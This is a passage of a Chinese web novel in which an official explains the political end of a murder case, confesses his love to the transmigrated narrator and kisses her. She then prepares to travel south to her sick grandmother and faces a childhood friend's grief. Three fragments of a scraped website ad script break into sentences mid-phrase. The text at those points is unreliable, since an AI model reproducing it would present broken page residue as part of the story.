“月前,西域边防屡遭小股骚乱,是羌族又来烧杀抢掠,恰逢我军演习驻军,便起了冲突。白日刚刚击退,没成想,对方竟胆大到夜中到我军营帐偷袭。孟秋帆值夜,不仅第一时间发现端倪,战斗中斩获数人,并带队追击,直将对方首领的首级砍下,全俘残余战斗力。” 谢宁轩顿了顿,气息不稳,“就在我呈递卷宗的那几天,边疆军报送来,驻军将军正欲为他请功,赞其有谋有智、英勇无敌,欲破格提拔至果毅都尉。” 话音入耳,我怔住了。谢宁轩也露出了五味杂陈的表情。 一颗军界冉冉升起的新星,保家卫国,令人崇敬。 这大抵就是圣上也不得不妥协的原因? “羽林军搜查孟府后,圣上是亲自提审过何慕卿的。招了孟秋帆入京,却也只是安排宿在羽林军中。孟秋帆甚至没有回趟孟府。直到今日,圣旨下,革去孟秋帆原军阶,降为普通兵士,从今起在羽林军中奉职。” 谢宁轩说完,肩膀略塌。他有些无奈的走近两步,低声道:“羽书,我知道你心中难过,但,恐怕这就是结局了。” 心口很冷,我咬牙问:“作战立功……好,褒奖是他应得的。可一码事归一码事,何小姐的遭遇也是真实存在的。难道他就不该为何小姐之死付出代价吗?” “这案子缘由太过不堪,本就不可能公诸于众。应褒奖的有功之人无故被贬,军方也定会讨要说法。” 谢宁轩抿唇,声音有些哑,“朝政,羽书,这就是朝政。对圣上而言,平衡、妥协、稳定,总比几条人命重要。何况,何小姐已经故去,所谓的正义与否,远不如当下的局势安稳,来的紧要。” 满腔不忿在这一刻被压下,我努力抑制住语气的颤抖:“你、你也这么觉得吗?” 谢宁轩抬眼看来,往日涓涓潺潺的眼眸中,此刻是晦涩的。 我想起当日他的成竹在胸,笃定地说一定会查到证据;在接到圣旨不允再查时,拂袖的不屑…… 也许作为一个刑狱官,最大的悲哀便是真相远不及权力的摆弄吧。 再问下去太残忍了。 我挪开眼神,换个问题:“那,何慕卿呢?” 答案没有出乎预料——“死刑。秋后问斩。” 谢宁轩深吸了口气,又道,“圣上对何家,也并非毫无安抚。何小姐,被追封为仪洁郡主,以郡主礼重新入葬。那三家,孟老被降级,方尚书贬官外调,至于张海邦之父,更是降为七品知县,远派边陲,怕是一生都不会予以重用了。” 安抚,死者已去,这虚名,又算是哪门子的安抚。 心绪复杂,我却也深深明白,案件到了这一步,圣旨就是终结。 帷幕下,这与童话千差万别的结局,总让人梗在喉头,不上不下。 三年前的旧案不能公开,那白马书院命案带来的震动,就只能用何慕卿的性命了结。为了平息流言,他必须死。 而罪魁祸首的孟秋帆,终究还是全身而退。但凡将来在羽林军中干出些成绩,估计还能升职。 “羽林军……羽林军宋将军不是你的好友吗?”我琢磨着,斜眼觑向谢宁轩,带着阴暗的想法,“能不能、能不能暗中……” 谢宁轩自然懂得,勉强扯扯嘴角,他摇头道:“此案缘由不宜透露给外人,哪怕是宋璃,也最好别知晓。加之孟秋帆被放在金权旗下,也并非宋璃直接管理 。” 我塌下眉毛,深感失望,但内心也很清楚,动用私刑,万万不可。 故事终了。可我们还是不知道孟秋帆到底出于什么心理做出了这档子事。而孟府为了掩人耳目,是否抹杀了更多的生命,也将成为永久的谜团了。 一时间,我和谢宁轩都没有说话,叹息着,沉默着。 片刻后,是他勉强挑起了个话头,一面起身朝屋里走:“羽书,秋日夜晚风大,别坐在院中了吧。走,进屋,我还有桩好消息要告诉你。” 我懒懒听着,心思还没扭转过来。同时也没意识到,他关上了门。 独处,又要独处了。 “什么好消息?”我丧丧的坐下,自顾自倒了茶。 谢宁轩拿起杯子凑近,也讨一杯。 此时他侧着身子,离我很近。幽香的气味钻入鼻腔,我手里的茶壶登时抖了三抖。 我下意识要远离,谢宁轩已冷不丁冒出话来:“三殿下拒了太后赏赐。” “什……”诧异了三秒,我反应过来,立时激动的撂下茶壶,“赏赐?你是说赏赐贵妾吗?三殿下拒了?” 谢宁轩吟口茶,一面颔首:“嗯,其实太后第一次提起,他就没应声,本以为也只是聊天时话赶话,说到此处而已。没想到,前一阵,太后竟真的物色了三两个,还叫他入宫去挑。” “然后呢?” “他当然就拒了呀。”谢宁轩摊手,露出一丝笑意,“你想什么呢?他可不是好色之人。” 心上压强如被释放,我不禁笑吟吟道:“太好了!我就说嘛,三殿下明明对林霜玉那么深情,怎么还能同时纳妾呢!” “是,那的确是他的钟情。而且,他之后也去了林府,亲自找林夫人说了,无需准备通房丫鬟。” “通房也不要?”我更惊喜了,都没注意到自己站了起来,轻快的鼓着掌,“我真是没看错三殿下!是个好样的!这下林霜玉该放心了!” 我喜滋滋的幻想着二人的结婚大典,没留神谢宁轩也起身走了过来。 直到熟悉的呼吸将我悠悠包围,他正定定的望着我。 “羽书,这就是你介意的,是不是?” 我一怔,松弛感立时消失,心口又麻了。 “我找阳远问了,问题不是出在金府,而是林府。”谢宁轩慢慢开口,声音很轻很轻。“羽书,你为什么不告诉我?你不相信我吗?” “我……” 如喉咙嵌住一大块鱼骨,刺向每一处脉络,断了声线。 “听到赐婚恩典下,竟还有贵妾与通房之扰,令你很无措、愤怒,是不是?却又无从说起、无法言说,恐被冠上一顶善妒帽子,是吗?” 谢宁轩又走近了一步,汪洋大海般深不见底的眸中,掩映着狂风暴雨。 “查鹦鹉学舌案,在朱家,你也一针见血的指出,妻妾纷争的难堪。” 朱家,朱家……他竟还去问了二公子…… “羽书,你为什么不告诉我?难道在你心中,我是个贪得无厌之人?不懂情有独钟之珍贵,不知一心一意的要紧?” 张口结舌,我似被施了定身咒,动弹不得。 谢宁轩却倏得收起了全身的锋芒,他垂下眼睫,后退两步,踱步走到了窗前。 负手而立,一如既往的端端如钟。然此时此刻,他却像是一尊琉璃人像,摇摇欲坠、风雨飘摇。 “羽书,我想,你应该多少知道些我的身世吧?即便丢失记忆,回京后,一定打听过,是吗?” 怎么突然说起这个? 没有等到我的回答,谢宁轩也未介意。他只是透过窗纱望向远方。夜风眷裹着院中的柳树,枝条舒展着伸向院外,像是自由舞动。 “我并非母妃的孩子,养在她的膝下,她待我很好。而我的生母,事实上,我没有印象。” 谢宁轩的声音再次响起,突兀、冷寂。他依旧望向天边,徐徐讲述,像是读着话本,读着别人的人生,无关于己的高高挂起。 但不易察觉晃动的身形,咬牙吞下的喉结滚动……他是痛苦的,我能感受到。 “自小,我就察觉,父王待我与宁辕不同。人人都道,长相中, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我的眼睛是最像父王的。可每每四目相对,父王的目光,分明在穿过我的眼仁,忆着旧人。渐渐的,我意识到,比起与父王的相似,这双眼睛应该完全承袭了母亲的特征。” 大脑宕机,一个画面却不合时宜的出现在眼前。那是我第一次见齐王时的午宴,他正喃喃,思念着她。 “父王自祭天仪式中走失,被寻常百姓抚养长大,家中拮据。长大后,隔壁邻居向他介绍姑娘,他都自惭形秽,不敢肖想。偶有经过豪门大户,看人家搂着娇妻美妾,也曾心生幻想,说自己有朝一日发达,也得过一过妻妾成群的日子。之后,养父母陆续过世,父王便开始行走江湖。他心性豁达,风光霁月,很快便引得令尊等一众伙伴敬仰,还建了个什么帮派,颇成一股江湖势力。” 谢宁轩轻笑,似是也被父王当年的不羁感染,然笑容转瞬即逝,他再次提到了母亲。 “父王就在那段日子,结识了我的母亲,一个以天为盖地为庐,行走江湖的医女。” 而少年心性,则在爱情降临的一瞬,成长为男人。 齐王爱上了这个女孩,二人情深意重、神仙眷侣,很快便在伙伴的祝福下成婚。合卺大礼,是齐王一生都不曾有过的欢乐时光。 “然而这一切,都在他十八岁的时候,戛然而止。” 十八岁?老爹说过,他和齐王同龄,今年三十八岁。那也就是二十年前,圣上登基的年份。 我稍稍算了一下大致年份,心下一惊。 “是的,你没料错,那一年,三王之乱爆发了。” 先帝临终留下遗诏,传位当今圣上。然皇子中,还有三位,或有军权在手,或有重臣支持,或有外戚势力,都不满于圣上坐上宝座。故那年,三位联合,发起了对皇权的竞争,动乱长达一年,史称三王之乱。 恰在同年,走失了小儿子的珍妃——也即当今太后——从未放弃过寻找,终于在大儿子登基后,找到了心心念念的次子。 说来还颇戏剧,彼时朝政暗流涌动,几方尚且未撕破脸面,但圣上与太后都心知肚明,这一战恐怕难免。他们急需更多武将的效忠,那日,太后便亲临镇国将军府上拉拢。 暗箭袭来,谁也说不清这是哪方发动的暗杀。等太后反应过来,已经陷入危险。 而带着妻子、下属来京城游玩的齐王,就在这种情势下,误打误撞救了太后与镇国将军。 接下来揭晓身份的具体经历,谢宁轩也没有再提。总之,太后与走失的小儿子相认之时,镇国将军也看上了这位英勇洒脱的年轻人。 三王之乱随之爆发,局势白热化。镇国将军挑明,效忠的前提,就是要太后次子,刚刚回归玉牒的齐王,迎娶自己的女儿。 齐王闻言自是不愿,可被战争裹挟,齐王本人不说,他的部下,已全部为了他的身份,加入到朝廷的战争中。如果圣上势败,他们所有人,都免不了被株连的命运。 “是我的母亲,在这个时候妥协了。”谢宁轩淡淡地说,努力压抑着话音中的哀伤,“她牺牲了自己独一无二的钟情,甘愿退位做个侧妃,将齐王妃的宝座拱手让人。” 最终,有了几位武将的效忠,三王之乱以当今圣上坐稳江山而结束。 可谢宁轩的母亲,则在战后轰动京城的皇室大婚中,意外发现自己已有身孕。 郁郁寡欢,她再无踏入京城时的开怀。 本就身份卑微,医女之流素来为时人不屑。如今,终是来了个高贵女子,分走了本属于她的夫妻之爱。 而随着夫君重归玉牒,简易小院,也变成了深深王府。本就是江湖中人的她,被困入四方天地,再无法回归自由自在的生活。 诞下儿子之后,她终是承受不住,撒手人寰。 我分不清这一刻,游走在心中的酸楚,是来源于对她的共情,还是对谢宁轩的心疼。 脚步先于大脑,我走上前,轻轻抚住了谢宁轩的臂膀。 感受到掌下的肌肉紧绷,气息悄然环绕,是谢宁轩转过身来,轻柔的握住了我的手。 他深吸了口气,调整了周身弥漫的哀伤,只沉沉望着我,诚恳地说:“羽书,告诉你这些,并非要你可怜我。我想说的是,我理解你。我明白,我真的明白。” 94.知音世所稀 犹如置身蒸锅,脑子僵硬,我一时没有读懂他的意思。 “情有独钟的珍贵,我懂得的。羽书,你知道吗?母亲的故事,是父王在我八岁时,和盘托出。我初时听完,只觉造化弄人,加之当日情势,父王也没有太多选择,这并不能完全怪他。但父王,一字一句讲述完,落下泪来,他却说,真正害死母亲的,正是他的侥幸。” “侥幸?”震撼中,我机械地复述着。 谢宁轩眼睫微垂,声音低落。“父王年少时的简单想法,还记得吗?左拥右抱,齐人之福。” “这么说,当日迎娶王妃,他、他是愿意的?” 谢宁轩苦笑,一时没有回答。 原来当日权衡下答应,也只是定亲,并没有立即行礼。 战时,不少将军展现了绝对的忠诚与能力,从龙大功者诸多。相较而下,镇国将军未列头筹。 反而在平定动乱最关键的一场战事,京城镇压中,谢宁轩的母亲,救了自小养在太后膝下、因流矢负伤的多荣长公主,进而被太后刮目相看。 随着三王之乱的平定,新皇手中的皇权,也到达顶峰。任何人都没有资格与胆量,敢与圣上谈条件。 镇国将军当初的肖想,更是丝毫不敢再提。毕竟谁都能看出来,太后和圣上已经默许齐王与那民间女子的夫妻关系。 然,战后的论功行赏中,出乎众人预料,齐王竟然自请履行承诺。 “父王自小生活在百姓之中,多受官府言而无信之苦。回归玉牒,便认为,朝廷与皇室,皆得有信,才能信服景仰于天下。他觉得,这是一个好的契机……哪怕婚事,并不该与参杂入国事中。” 谢宁轩叹了口气,幽微、无奈,“另一方面,父王那时,也是真的觉得,再迎娶一个,也没什么大不了。反正爱的人一直在身边,不是两全其美吗?” 两全其美? 我垂下眼睫,努力压下心头的不适。 谢宁轩亦自嘲笑笑:“所以婚礼之浩大,洞房花烛之得意,父王也是实实在在享受了的。那段日子,他有些膨胀。母亲妥协时的咬牙与委屈,他忽视了……直到母亲临盆。” 谢宁轩捏住了眉心,声音第一次出现了哽咽。 “母亲诞下我之时,还算顺利。是太医无意中告知,母妃那厢,也有了身孕。听着双喜临门的祝福,对母亲而言,或许更似凌迟。她很快就血崩……临终前,父王抱着她,她却看也没有再看父王一眼。” 悲色冲破画板,眼前仿若是大滩大滩的血。我咬着嘴唇,铁锈味弥漫。 “失去母亲之后,父王清醒了。他终于明白自己只爱当年灿烂明媚、自由自在的妻子。但他的贪婪、他的自私,害死了她,也永远失去了她的心。” 谢宁轩轻轻按了按通红的眼圈,努力让声线不至于颤抖。他将软弱、脆弱,第一次毫无保留地展现在我面前。 “这些年来,父王总是勤勉为公,不是亲临黄河治理水患,就是远赴边疆前线视察。世人都说,他是圣上最值得信任的手足,是大青最尽职尽责的宗室。但我知道,他只是在逃避。母亲死后,他根本不敢面对母妃……他也负了母妃,不是吗?” 是啊,这也不是齐王妃的错啊。于齐王妃来说,日日空等的闺中寂寞,又何尝不是一出悲剧。 “所以,八岁那年,我就懂了。所谓齐人之福,是对爱人的践踏,对自己的侮辱。长大后,长辈也好,同伴也罢,鸡飞狗跳的家宅传闻,更让我明白,内宅不宁则诸事不宁。我能和三殿下成为莫逆之交,固然有自小的情谊,更因我二人在情事上,都有着一模一样的坚持。” 谢宁轩伸手揽住了我的双臂,眼中流淌着涓涓潺潺的清溪,是说不完也道不尽的浓浓爱意。 “羽书,你明白了吗?你担心的,是不会在你我之间发生。我不会有贵妾,不会有通房。一生一世一双人是我的向往,亦是我的执着。我只要你,独一无二的你,承担起我情有独钟,让我不至于曲高和寡知音少,孤影长夜江自流的你 。” 曲高和寡……原来我们彼此心动的理由,竟也高度一致。 如狂风海啸,心绪激荡间,我定定望着他,竟忘了言语。 他又在剖析他的真心了。那颗心,毫无掩藏的交付在我面前,我只消伸手轻轻一触,即可获得圆满。 原来我担忧的妻妾之争,雌竞戏码,一开始就不会上演。 原来我喜欢的男人,是如此懂得用情专一才叫爱情。 他仍在牢牢看着我,羽睫轻颤。 即便此时无言,那强烈的爱意已如排山倒海之势,扑翻了我所有想要抗拒的细胞。我好似一具木偶,每个神经都在叫嚣、欢愉着。 唯有濒死的理智之舟,还在天灵盖下苦苦挣扎。 我担忧的,何止这一项。共情他母亲的,还有高门大户对自由人生的束缚啊。 可眼前人情深几许,如海深眸中,孤舟又如何能逃出? 许是察觉我始终有着丝丝的漂移,谢宁轩又放大招。 他幽幽贴近,和我只在毫厘之间。眼中映出我红屁股一样的脸颊,还有扑闪扑闪迟疑退缩的睫。 他的呼吸清清浅浅,喷在我的鼻子上,我有些痒,想要伸手去挠。 刚刚移了一下手,却被另一只手捉住,谢宁轩低低道:“羽书,别躲开我,明明你也是钟意我的,我都知道。” 嘴唇一热,他吻了上来。 我忘记了闭眼,他也是。四颗墨色瞳仁相互交映着,双唇贴在一起的温度正是恰好。 鼻尖仍旧很痒,我微微张开嘴想要说话,央他松开双手让我挠挠痒。可就在我微启唇瓣的时候,他的舌头溜了进来,长驱直入。 忽然加深的吻让我的心跳超速,我不自觉闭上眼睛,沉浸了进去。他的唇齿间飘着一股香气,就像他身上淡淡令人放松的味道,总是令我深深沉迷。 吻势越发缠绵,他也温柔的将我抱紧,温度在飙升。 这个吻持续了多久,我忘记了计算,直到“砰砰砰”敲门声突兀传来,我才犹如小船翻入大海,惊惧着推开了他。 谢宁轩双手悬在半空,仍维持着抱我的姿势。他喘着粗气,鼻翼微张,眼神粘稠。 “来了。”他嘶哑着说,又轻咳两声,调整状态。 不变的则是,眉眼带笑,梨涡盈盈,松弛而轻快。 进门的是垂柳,举着一封信,劈头就叫:“小姐,金华的信!你说过要第一时间拿……咦,小姐,你怎么了?脸怎么这么红?” “啊,那个,我、我没事……” 支支吾吾间,是谢宁轩伸手接过了信。接下来,他就在垂柳的目瞪口呆中,牵起了我的手,拉我坐下。 一举一动,自然到仿若每天发生。 别说我被这一系列的上头事端冲傻了,垂柳也石化了。 “谢、谢府丞,你……小姐……” “茶水没有了,倒壶水来吧。”谢宁轩吩咐,从容得很。 垂柳得了指令,像是被咒语唤醒,猛地回神后,三两下就逃出了屋子。而我的理智,也就在门被大力关上的瞬间,重新归位。 “你、你干什么呀……”我嗔道,不知是抱怨他的不避讳,还是自责于自己的昏头。 不是说好了要远离,要清醒,不能招惹吗? 你在干什么,在干什么!美色面前,怎么老是失去控制呢! 我痛骂着自己花痴、恋爱脑,谢宁轩却再次走近。 他朝我俯身,又一次面容贴近。 心跳又差点骤停。这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一晚上大起大落的……得亏我没有心脏病呦。 他望着我,语气温柔又坚定:“羽书,别闪躲,别推开我。这番话我很久之前就想说了,就是怕你因门第之差退缩,才犹犹豫豫,想拿道圣旨再与你表达心意。却不想你在抓住盗墓贼那段时间,忽然对我冷淡起来……羽书,我好怕,所以我突兀了。” 圣旨…… 他竟早就为未来做了打算。 “你拒绝了我。”一闪而过的软弱与痛苦后,他的眼眸,依旧柔亮如月,“可我没有会错意,我知道的。你的眼睛,你的气息,都声声诉说着对我的爱,我看得懂,包括你这段时间的煎熬,我也看在心中。好在,我终于知道你在怕什么了。” 手劲悄然变大,谢宁轩紧紧箍着我。 “羽书,相信我,好不好?”声线带着丝丝颤抖,是他满满的恳切,“你所顾及的,担忧的,都可以告诉我。无需觉得难以启齿,无需考虑世人评判。你多么惊世骇俗,我都不会评论你,指责你。芳草昔,琴弦断,知音世所稀,不是吗?” 知音世所稀…… 是啊,这是我人生遇到的唯一知己。我真的要推开他,孤独终老吗? 心绪百转千回,理智已陷入深深沼泽,只剩呜咽。 这时,谢宁轩又有动作。 他从怀中掏出一个红色绢帕,内里竟是一只晶莹剔透的粉玉芙蓉手镯。 我紧张到无法呼吸,颤抖着问:“这、这是?” 瞳仁如琉璃般清澈,谢宁轩郑重地说:“这是我母亲的遗物,她生前最喜欢的镯子。羽书,我希望你能收下,也希望你明白,我对你是认真的。” 猛虎又在心中抓挠起来。 我看着谢宁轩温柔的拉起我的手,感受到指尖传来冰凉的触感,与满心满肺的热烈交织着。 说不清是什么在最后关头将被掩埋的理智拉回,但这一刻,我终于还是害怕了。 我猛地缩回了手,像是一个即将被抓的动物,瑟缩着躲入角落,不敢再看猎人一眼。 “羽书……” “我、我,那个,那个……”我拼命寻找着一丝一毫的出口,给自己找借口、找理由。 擅长逃避,擅长鸵鸟,这应该是我擅长的啊。 但为什么,愧疚袭击着我,我根本不敢直白的拒绝,更不忍心推开他。 “书信,书信!对,金华来的信很要紧,我得赶紧看信,我要……” 手臂倏的再次被握紧,是谢宁轩又一次抱住了我。他揽着我的腰,迫我直视着他。 沉默,静谧,一时之间,四目相对的,是我的哑口无言,和他的不肯放弃。 时间好像暂停了,不知过了多久,不知我到底泄露了什么。 谢宁轩的眼神,竟从丝丝迷惘到前所未有的坚决,他像是掌控了整个世界。 力道轻泄,谢宁轩弯了弯嘴角,再次将粉镯举起。 这次,他没有勉强我带上,只是将它放入我的掌心,柔声道:“它是属于你的,这一生,只会属于你,即便你现在不愿带上,不愿卸下所有心防。羽书,你总是这样,小心的隐藏着自己吗?没关系,你一日不接受我,我就追着一日。这一个月来,我想的很明白了,无论你担忧什么,我对你的心都不会变。我相信,总有一天,你会心甘情愿带上它,也会全心全意的接受我。” 告白,又是如此赤裸裸,心意满满的告白。 眼泪开始打转,还是谢宁轩轻柔的拂去。这氛围明明焦灼又磨人,他却转了性似的,竟放开我,真的拿起那封信,慢条斯理的打开。 狐狸,他是个狡猾的狐狸。 可狐狸嘴角的笑意很快就消失了。谢宁轩抬起眼眸,紧张地说:“羽书,不好了,还真是要紧事。你祖母病重……” 95.牙印 话音入耳,暧昧也好,心悦也罢,立时全都化作虚无。我接过信一目十行的浏览,越看越心惊。 糟了,原主的祖母,真的病重垂危了! 可原主上京前,祖母身体倍棒,这几个月的书信往来也佐证了这一点。为什么突然病重? 我想到一种可能,脊梁骨如被风吹。 谢宁轩也严肃了表情,提出一样的怀疑:“难道是害你的人,欲对你祖母下手?” 周身一震。 惶恐之际,谢宁轩突转话题,他问:“羽书,你还记得两日前浮生送来的信吗?” 哦,那封关于苗姜村最新调查进展的信啊。说是找到了一个目击证人,是当日与原主一行相反方向南下的赶路客。 经此人回忆,他曾在前往十里驿的官道上,在一片蒲苇丛边休息,见到一个姑娘正对着身边下人撒娇,似乎是想单独离开,而她手中还拿着一个笼子。 当时赶路客正与同行友人抱怨茶寮的包子真难吃,还注意到姑娘朝他看了一眼。但赶路客也休息好了,就继续动身了。之后姑娘一行人何去何往,对于只当是个插曲的他来说,未再留意。 此人此次回京途中又与调查队伍相逢,通过对画像的识别,确认遇到的姑娘正是原主。 这封信只有寥寥一页纸,但价值不低。 因为我马上意识到,原主一行人分开的原因,或许就藏在赶路客的见闻中。 “没错。”谢宁轩也同意,“可还记得十里驿卒的回忆?说你捕蝴蝶捕得一夜不睡。还曾有条线索是,官府接到茶寮小二报信后立即前往抓人,期间也曾搜索周边,但未发现任何。结合赶路客的回忆,我想,就能大略复原当日的场景,那便是——” 官府抓走七个下人时,原主就因藏身蒲苇丛中而避过。 我猜想,原主在驿站中捕了蝴蝶后,次日路上就寻找着合适放飞的地方。途径蒲苇丛,她发觉该处风景适宜,便要求停车。 或许是嫌下人在周边保护束手束脚,又或许放飞蝴蝶也无需那么多人同往,总之,当她听到赶路客提及前方有个茶寮后,便让下人先过去等待,自己则带着橙橙单独去放飞蝴蝶。 这个推测符合原主的性格。而从下人最终同意来看,茶寮与蒲苇相距一定不远,否则他们不可能将马车带离,任由主子步行赶来。 至于官府带走天花患者后搜查周边未有发现,则应该拜半人高的蒲苇所赐。原主与橙橙藏身其中,才未被察觉。 但这里又衍生出三个问题。 “嗯。”谢宁轩先说,“第一,赶路客既然才在茶寮吃了包子,若茶寮与蒲苇相距不远,他为何这么快又坐下休息?” “第二,短短时间,为什么我的余下仆人便齐齐出现天花症状?” 第三则是,如果原主与橙橙是靠藏身避开了搜查,那就说明她们一定清清楚楚看到了仆人被抓走,可原主虽在这之后有惊慌,却很快恢复正常。这似乎又有些违背常理。 犹如走入了更深的迷雾,我深感不安。 “这边调查还算平稳进行中,怎么金华竟又出事?”谢宁轩抱臂思索,亦是难解。 我怀疑地问:“莫非幕后黑手在这一路安排了暗哨?你派出的人调查,被他们发觉?” 可那样,应该冲着谢宁轩去,或者干脆派人来京暗害我。怎么又对祖母下手? 我想到祖母之前寄来的书信,不禁担心是否她实际查出了端倪,还没来及写信或者尚不自知,可幕后黑手坐立不安,索性灭口? 糟了,真的糟了呀。 这祸事本就冲着原主去,我既穿越占了她的躯体与身份,就该帮她查清,还她公道,也为我自身的安全拔除隐患。怎得只因在京一切太平、金华未传来其他人遭难,就乐不思蜀了? 当然,我大意的另一方面原因,也在于与谢宁轩的几次头脑风暴,我二人不约而同判断,幕后黑手应已罢手。大抵是反正我也不在金华了。 可原主的祖母为什么突然又病重了? 纯粹是因疾病,还是内有玄机? 坐不住了,彻底坐不住了。 “我得回金华一趟,明天就走!” “明天?”谢宁轩诧异,伸手捉住我,“羽书,这太突然了,你还没有和令尊说。” 心下已是慌乱,不祥的预感在敲打我的神经。 原主祖母若是被幕后黑手害个三长两短,我可怎么向原主交代。怕是夜夜入梦,她都得叫我将性命还给她了。 “说不说都得速走。原……我落水之谜一直没有解开,由得这幕后黑手逍遥法外。现在他又要兴风作浪,竟还打祖母的主意!不行,我一定得回去,得赶紧……” “好,回去,回去查个水落石出。但羽书,你别急,”谢宁轩打断了我,沉稳地说,“这样,你收拾细软,给我两天时间,准备一支队伍护送你南下。” “护送?这没必要了吧。” 谢宁轩却肃然道:“此贼未捉,你回金华本就有危险。如他又开始作案,你这一路必得有人护送。不要推辞了,安心等我两天,好吗?” *** 谢宁轩做事干练稳妥,两日后,他真的安排了一队府兵伴我南下。 三殿下听闻消息,直呼守护义妹,他也得出人出力,于是乎,他的府兵副队长,变成了我的小分队队长。 林霜玉则送来了满满一车的物件,从挡风的毛呢大氅到打发时间的话本,从跌打损伤膏到雨伞雨蓑,种类齐全、物品丰富,看的我直呼可以摆摊。 郡主自也不甘示弱,但望着一车明细,目瞪口呆。想来想去也想不到还能送啥,索性转身进屋,揪住正在收拾细软忙的不可开交的垂云垂柳,下令让她们陪我同去。 “啊这……” 我弱弱开口,被她一次次打断,严厉的强调着御青王府二小姐的地位,绝不能没有丫鬟作陪,否则也太没排面了! 直到垂云终于抓住了话语间隙,怯怯地说,郡主啊,我们两天前就想好要伴小姐南下了。你看这收拾的,不也有我们俩的行李吗? 郡主:……(合着我白说这么多!) 其实我计划之初,真没打算带这么多人,浩浩荡荡。轻车简从,速战速行,隐蔽且伪装,才是查案的正理嘛。 谁知,垂云垂柳一想到能见识京外风光,直接把这趟当旅行了。议论起来兴致高昂,听的门外的琴棋书画四丫鬟也跃跃欲试。要不是队伍实在不能再增员,她们四个也非得跟上。 我无语扶额,赶路啊,避险诶,一路艰辛且得小心谨慎,哪那么好玩呦! 除了上述提及的伙伴,临行前,我自然也得去向齐王妃辞行。 她已经从老爹处知晓了祖母病重的消息,见到我来,便向我提及了江浙一带几位鼎鼎大名的神医,说若是情况实在不妙,她可以传信给当地府衙,差人安排一下。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 其实王家在金华当地还算是数一数二的富户,原主三叔更是靠捐官当上了府衙小官,据说治理得当,今年还升职了。 虽较之王府云泥之别,但近水楼台,江浙当地的名医,王家应该能求个遍。 不过听到王妃如此挂念,老爹仍是深为感动,涕泗横流,就差跪在王妃脚下痛哭了。 这时,门被推开,二公子走了进来。 他今日穿着墨色阔袍衫,头戴紫金冠,脚步沉重而迟缓。甚少见他穿戴这样老气,死气沉沉,完全不同于往日的活泼英姿。 诧异的也不止我一个,王妃蹙眉问:“怎么回事,还掉着个脸?昨日听说书儿要回金华,你不是特意问我时辰来着吗?书儿这会儿来了,你又这般丧气,是做什么?” “我没有,早起有些累了,疲倦而已。”二公子扁了扁嘴,移开视线。 王妃眉头不解,但也没再深问,反而向我伸出手,招我凑近说话。 “书儿,去劝劝他吧。年考而已,又没到科举时,还有一年学习时间,没必要现在就灰心嘛,是不是?他一向听你的话,你去说说。” 额,劝他啊……我是真不情愿。 这实在不能怪我不够义气,而是心情不好的二公子,真的很难相处。说话夹枪带棒、表情阴阳怪气,一会儿翻个白眼,一会儿暴躁叉腰,简直是行走的哈士奇。 这不,现在坐在他的书房,他就是这样一副死样子。 我坐在他的对面,盯着他举起的兵书 ,五分钟不带翻一页的,气的我都想笑。 “得,你看书吧,我先走了。我家还一堆行李等着我收拾呢,不跟你在这耗了。” 二公子的脸终于从书后冒出来,撅着嘴,气鼓鼓,一副糟了多大委屈的样儿。 “走走走!谁要你来!刚才饭后你直接滚出我们王府都行。” “嘿!你当我想来啊!要不是王妃殷切看着,我才懒得关心你!”我登时就怒了,撂下一句起身就走。 熟料,二公子竟从座位上跃起,几个大跨步就冲到了我面前,止住了我的步伐。 “干什么?好狗不挡道!”我说话也极不客气。 二公子阴郁的表情转为恼怒,他恶狠狠推开书桌上几摞兵书 ,怼道:“咱俩谁是狗?这可是你咬我的!你才是狗!” 说着,他猛地一撸袖子,露出了光洁的手臂,上面赫然一个牙印。 我立马就被这相似的剧情、狗血的走向镇住了,只觉天雷滚滚,差点要唱出古早八点档电视剧的主题曲了! 然,僵化三秒后,我还是发现了华点。 “我咬的?大哥,你脑子瓦特了吧!这么新的牙印,也没见血也没留疤,分明是刚刚留下的!今天我见你,可没接触过你啊,少往我身上泼脏水。” 反驳掷地有声,且有理有据,二公子却罕见得没有发飙。 眼神陡然变化,他只是哀哀的盯着我,幽怨地说:“你不记得,你什么都不记得了。” 我懵了,这又唱哪一出啊? 袖子没有放下,二公子仍指着那块牙印。通红的眼圈,泛白的唇色,一向英气勃勃的面容变得颓废。 沉默的心惊中,我渐渐看清,一圈大的浅浅牙印下,还有一处小小的伤疤。 二公子一步步逼近,瑞风眼中蓄着泪,颤声问:“八年前,也是你要去金华之前,我们在山洞中躲雨时,我问过你什么,还记得吗?” 96.你变了 我被迫后退,紧张、惊惧、茫然,交织在高速运转的心跳中。 “为什么?为什么你这次回来,像变了个人?我们之间的往事,你真的一点都记不得了吗?”他咄咄问着,指向书柜偌大的一层,“我们扎过的纸鸢,踢过的毽子,你喜欢的陀螺,没带走的团扇,我一个都没有扔。书信中,你明明也说,要回来再看看,把那一局没分高下的赛跑比完。” 像是回到了儿时,二公子追寻着记忆而去。 “你还记得那个红色的披风吗,是我送你的生辰礼物,你说我送你的东西你都喜欢……羽书妹妹,你还记得吗?” “我、我……”我迟疑着,支吾着,难以压制心中的愧疚。 “多少次,你踩在我的肩膀上摘下了果实,晚上我们藏在假山山洞吃掉它。我们约好了什么,你也都忘了吗?” 心颤如叶摇,我终是耐不住,低声求他:“别再讲了,别再讲了。我不记得,真的不记得了……我、我不是王羽书了!不是、不是你心里的、儿时回忆里的王羽书了。” “为什么?为什么?” 我无力的摇头,难以回复。末了,我只能搪塞一句“人总会改变,总会改变啊”。 “人总会改变?”二公子喃喃着,复又倔强的瞪着我,“可为什么我从没有变!你走的八年,我从来没有忘记你!为什么?你却忘记了我!” 周身一震,我深深感到遗憾。 被酒莫惊春睡重,赌书消得泼茶香,当时只道是寻常。 我忽然很想知道,如果今天站在这里的是原主,她会不会和二公子,早已续上儿时的青梅竹马之情。 而此时此刻,我也再次、深刻的意识到,从始至终,二公子喜欢的都不是我。他眷恋、怀念、想念的,分明是那个与他一起长大、有着深厚革命——啊不,玩闹友谊的王羽书。 “你变了”这三个字,他对我说过无数次。 而我,也真的,无法将原来的王羽书还给他了。 我捏着放在衣襟里的粉镯,空洞出神。 二公子却深吸口气,努力压下了质问语气。他轻轻握住了我的臂膀,用一种很轻很玄,如飘在云朵之上的语气问:“你会变,你会不要我,是、是因为我哥,是不是?” 